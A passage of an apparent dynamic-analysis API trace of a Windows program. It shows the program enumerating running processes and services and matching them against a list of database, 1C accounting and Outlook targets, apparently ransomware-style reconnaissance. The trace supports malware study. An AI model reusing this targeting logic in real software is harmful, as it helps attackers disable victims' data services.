lpString2="svchost.exe") returned -1 [0234.378] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0234.378] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0234.378] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0234.378] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0234.378] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0234.378] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0234.378] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.379] lstrlenW (lpString="svchost.exe") returned 11 [0234.380] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0234.380] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0234.380] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0234.380] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0234.380] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0234.380] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0234.380] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0234.380] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.381] lstrlenW (lpString="svchost.exe") returned 11 [0234.381] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0234.381] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0234.381] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.810] lstrlenW (lpString="svchost.exe") returned 11 [0234.810] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.812] lstrlenW (lpString="svchost.exe") returned 11 [0234.812] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0234.814] lstrlenW (lpString="audiodg.exe") returned 11 [0234.814] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.815] lstrlenW (lpString="svchost.exe") returned 11 [0234.816] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0234.817] lstrlenW (lpString="explorer.exe") returned 12 [0234.817] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0234.819] lstrlenW (lpString="dwm.exe") returned 7 [0234.820] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.822] lstrlenW (lpString="svchost.exe") returned 11 [0234.822] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0234.824] lstrlenW (lpString="driver.exe") returned 10 [0234.824] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0234.825] lstrlenW (lpString="spoolsv.exe") returned 11 [0234.825] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0234.826] lstrlenW (lpString="taskhost.exe") returned 12 [0234.826] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.827] lstrlenW (lpString="svchost.exe") returned 11 [0234.827] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0234.829] lstrlenW (lpString="dllhost.exe") returned 11 [0234.829] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0234.830] lstrlenW (lpString="reader_sl.exe") returned 13 [0234.831] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0234.832] CloseHandle (hObject=0x388) returned 1 [0234.832] Sleep (dwMilliseconds=0x1f4) [0235.737] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c30b8 [0235.748] EnumServicesStatusExW (in: hSCManager=0x41c30b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0235.749] GetLastError () returned 0xea [0235.749] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe3c) returned 0x41d0998 [0235.749] EnumServicesStatusExW (in: hSCManager=0x41c30b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xe3c, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0235.750] CloseServiceHandle (hSCObject=0x41c30b8) returned 1 [0235.750] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0235.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0235.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0235.750] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0235.751] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0235.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0235.751] lstrlenW (lpString="AudioSrv") returned 8 [0235.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0235.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0235.751] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0235.751] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0235.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0235.751] lstrlenW (lpString="BFE") returned 3 [0235.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0235.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0235.751] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0235.752] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0235.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0235.752] lstrlenW (lpString="CryptSvc") returned 8 [0235.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0235.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0235.752] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0235.752] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0235.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0235.752] lstrlenW (lpString="CscService") returned 10 [0235.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0235.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0235.752] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0235.752] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0235.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0235.753] lstrlenW (lpString="DcomLaunch") returned 10 [0235.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0235.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0235.753] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0235.753] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0235.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0235.753] lstrlenW (lpString="Dhcp") returned 4 [0235.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0235.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0235.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0235.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0235.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0235.753] lstrlenW (lpString="Dnscache") returned 8 [0235.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0235.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0235.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0235.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0235.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0235.754] lstrlenW (lpString="DPS") returned 3 [0235.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0235.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0235.754] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0235.754] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0235.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0235.755] lstrlenW (lpString="eventlog") returned 8 [0235.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0235.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0235.755] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0235.755] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0235.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0235.755] lstrlenW (lpString="EventSystem") returned 11 [0235.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0235.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0235.760] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0235.760] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0235.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0235.760] lstrlenW (lpString="gpsvc") returned 5 [0235.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0235.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0235.760] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0235.760] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0235.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0235.760] lstrlenW (lpString="iphlpsvc") returned 8 [0235.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0235.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0235.760] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0235.761] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0235.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0235.761] lstrlenW (lpString="LanmanWorkstation") returned 17 [0235.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0235.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0235.761] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0235.761] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0235.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0235.761] lstrlenW (lpString="lmhosts") returned 7 [0235.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0235.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0235.761] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0235.762] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0235.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0235.762] lstrlenW (lpString="MMCSS") returned 5 [0235.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0235.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0235.762] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0235.762] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0235.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0235.762] lstrlenW (lpString="MpsSvc") returned 6 [0235.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0235.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0235.762] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0235.762] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0235.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0235.763] lstrlenW (lpString="NlaSvc") returned 6 [0235.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0235.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0235.763] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0235.763] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0235.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0235.763] lstrlenW (lpString="nsi") returned 3 [0235.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0235.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0235.763] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0235.763] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0235.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0235.764] lstrlenW (lpString="PcaSvc") returned 6 [0235.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0235.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0235.764] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0235.764] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0235.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0235.764] lstrlenW (lpString="PlugPlay") returned 8 [0235.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0235.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0235.764] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0235.764] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0235.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0235.765] lstrlenW (lpString="Power") returned 5 [0235.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0235.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0235.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0235.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0235.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0235.765] lstrlenW (lpString="ProfSvc") returned 7 [0235.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0235.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0235.765] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0235.765] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0235.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0235.766] lstrlenW (lpString="RpcEptMapper") returned 12 [0235.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0235.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0235.766] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0235.766] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0235.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0235.766] lstrlenW (lpString="RpcSs") returned 5 [0235.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0235.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0235.766] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0235.766] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0235.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0235.766] lstrlenW (lpString="SamSs") returned 5 [0235.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0235.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0235.767] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0235.767] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0235.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0235.767] lstrlenW (lpString="Schedule") returned 8 [0235.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0235.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0235.767] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0235.767] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0235.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0235.767] lstrlenW (lpString="SENS") returned 4 [0235.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0235.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0235.768] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0235.768] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0235.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0235.768] lstrlenW (lpString="ShellHWDetection") returned 16 [0235.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0235.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0235.768] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0235.768] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0235.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0235.769] lstrlenW (lpString="Spooler") returned 7 [0235.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0235.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0235.769] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0235.769] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0235.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0235.769] lstrlenW (lpString="SysMain") returned 7 [0235.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0235.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0235.769] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0235.769] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0235.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0235.769] lstrlenW (lpString="Themes") returned 6 [0235.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0235.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0235.770] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0235.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0235.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0235.770] lstrlenW (lpString="TrkWks") returned 6 [0235.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0235.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0235.770] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0235.770] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0235.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0235.770] lstrlenW (lpString="UxSms") returned 5 [0235.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0235.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0235.771] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0235.771] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0235.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0235.772] lstrlenW (lpString="Winmgmt") returned 7 [0235.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0235.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0235.772] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0235.772] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0235.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0235.772] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0235.772] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0235.776] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.777] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0235.778] lstrlenW (lpString="System") returned 6 [0235.778] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0235.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0235.778] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0235.778] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0235.778] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0235.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0235.778] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0235.778] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0235.779] lstrlenW (lpString="smss.exe") returned 8 [0235.779] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0235.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0235.780] lstrcmpiW 